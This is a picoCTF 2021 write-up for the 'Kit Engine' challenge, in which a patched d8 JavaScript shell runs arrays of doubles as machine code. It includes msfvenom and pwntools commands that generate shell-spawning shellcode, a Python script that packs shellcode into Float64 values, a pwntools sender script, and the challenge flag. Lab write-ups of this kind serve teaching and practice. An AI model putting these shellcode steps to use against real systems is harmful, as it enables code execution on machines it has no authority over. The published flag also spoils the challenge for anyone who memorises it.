Kit Engine picoCTF 2021 Solution

Published: April 2, 2026

Description

The d8 JavaScript shell has been patched with a new function. Use it to execute shellcode and cat the flag.

Remote

Connect to the service. It asks for the size of your JavaScript file, then runs it through the patched d8 interpreter.

bash
nc mercury.picoctf.net <PORT_FROM_INSTANCE>
  1. Step 1Understand the patch: assembleEngine()
    The patch adds a JavaScript function called assembleEngine() that accepts an array of JavaScript doubles (64-bit floats), interprets their bytes as machine code, and executes them. Each element in the array is a Float64 whose 8 raw bytes are the next 8 bytes of shellcode.
    Learn more

    How assembleEngine works: It maps a page of memory as executable, converts each Float64 to its 8-byte IEEE-754 representation, copies those bytes sequentially, then calls the resulting buffer as a function. You provide raw shellcode packed into doubles.

    The key insight is that you don't need to exploit any V8 vulnerability. The patch directly provides a way to execute arbitrary machine code via a JavaScript API call.

  2. Step 2Generate shellcode for cat flag.txt
    Use msfvenom (Metasploit Framework) or pwntools shellcraft to generate x86-64 Linux shellcode that executes 'cat flag.txt'. Pad to a multiple of 8 bytes with nop (0x90) instructions.
    bash
    # Using Metasploit Framework in Docker:
    bash
    docker pull phocean/msf
    bash
    docker run --rm -it phocean/msf msfvenom -p linux/x64/exec CMD='cat flag.txt' -f c
    bash
    bash
    # Using pwntools shellcraft:
    python
    python3 -c "from pwn import *; context.arch='amd64'; print(shellcraft.sh())"
    Learn more

    The shellcode needs to be padded to a length that is a multiple of 8 bytes so it divides evenly into Float64 values. Add 0x90 (nop) bytes at the end to reach the next multiple of 8. For a 54-byte shellcode payload, add 2 nops to reach 56 bytes (7 doubles).

  3. Step 3Pack shellcode into Float64 values
    Convert the padded shellcode bytes into an array of JavaScript doubles using SharedArrayBuffer/DataView to reinterpret 8 bytes at a time as a Float64. Pass the array to assembleEngine().
    python
    # Python script to build the JS exploit file:
    python3 << 'EOF'
    import struct
    
    # Your shellcode (padded to multiple of 8 bytes)
    shellcode = (
        b"\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
        # ... (full shellcode from msfvenom or pwntools)
    )
    # Pad to multiple of 8
    while len(shellcode) % 8 != 0:
        shellcode += b"\x90"
    
    doubles = []
    for i in range(0, len(shellcode), 8):
        chunk = shellcode[i:i+8]
        val = struct.unpack("<d", chunk)[0]
        doubles.append(repr(val))
    
    js = f"""
    let payload = [{', '.join(doubles)}];
    assembleEngine(payload);
    """
    print(js)
    print(f"// Script length: {len(js)} bytes")
    EOF
    Learn more

    struct.unpack("<d", chunk) reinterprets 8 raw bytes as a little-endian IEEE-754 double. When JavaScript reads this double back out and writes it to memory, it recovers the original bytes. This is not any kind of encryption or encoding; it is a direct memory reinterpretation.

  4. Step 4Send the exploit to the server
    Save the JavaScript exploit to a file, measure its length, and send it to the remote service which will run it through the patched d8.
    python
    python3 build_exploit.py > exploit.js
    bash
    wc -c exploit.js
    python
    # Then connect and paste the length followed by the script:
    python3 << 'EOF'
    from pwn import *
    
    io = remote("mercury.picoctf.net", <PORT_FROM_INSTANCE>)
    script = open("exploit.js", "rb").read()
    io.sendlineafter(b"size:", str(len(script)).encode())
    io.send(script)
    print(io.recvall(timeout=5).decode())
    EOF

Flag

picoCTF{vr00m_vr00m}

The patch adds assembleEngine() which executes an array of Float64 values as machine code. Pack your shellcode into doubles and call assembleEngine() to get RCE.

Want more picoCTF 2021 writeups?

Useful tools for Binary Exploitation

Related reading

What to try next